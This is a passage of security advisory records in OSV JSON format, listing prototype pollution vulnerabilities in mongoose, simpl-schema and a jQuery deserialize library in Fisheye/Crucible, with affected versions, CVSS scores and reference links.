      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "scimPatch vulnerable to prototype pollution via unfiltered keys in patch"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "mongoose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.13.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-3696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-18T16:57:08Z",
    "nvd_published_at": "2023-07-17T01:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype Pollution in GitHub repository automattic/mongoose prior to 7.3.3, 6.11.3, and 5.13.20.",
  "id": "GHSA-9m93-w8w6-76hh",
  "modified": "2023-07-18T16:57:08Z",
  "published": "2023-07-17T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/e29578d2ec18a68aeb4717d66dd5eb66bae53de1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/commit/f1efabf350522257364aa5c2cb36e441cf08f1a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/automattic/mongoose/commit/305ce4ff789261df7e3f6e72363d0703e025f80d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Automattic/mongoose"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Automattic/mongoose/releases/tag/7.3.3"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/1eef5a72-f6ab-4f61-b31d-fc66f5b4b467"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mongoose Prototype Pollution vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simpl-schema"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-21T20:37:29Z",
    "nvd_published_at": "2020-10-07T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects the package simpl-schema before 1.10.2. Attacker controlled input into a schema could result in remote code execution within the scope of the surrounding application.",
  "id": "GHSA-9mx2-prfp-8hqp",
  "modified": "2021-04-21T20:37:29Z",
  "published": "2021-05-10T18:38:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/longshotlabs/simpl-schema/commit/50128841fa7fc2d137c36a397054279144caea3d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/longshotlabs/simpl-schema/releases/tag/1.10.2"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SIMPLSCHEMA-1016157"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in simpl-schema"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-43956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-16T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The jQuery deserialize library in Fisheye and Crucible before version 4.8.9 allowed remote attackers to to inject arbitrary HTML and/or JavaScript via a prototype pollution vulnerability.",
  "id": "GHSA-9p4g-cjcf-q3x2",
  "modified": "2022-03-23T00:00:35Z",
  "published": "2022-03-17T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43956"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CRUC-8531"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/FE-7395"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}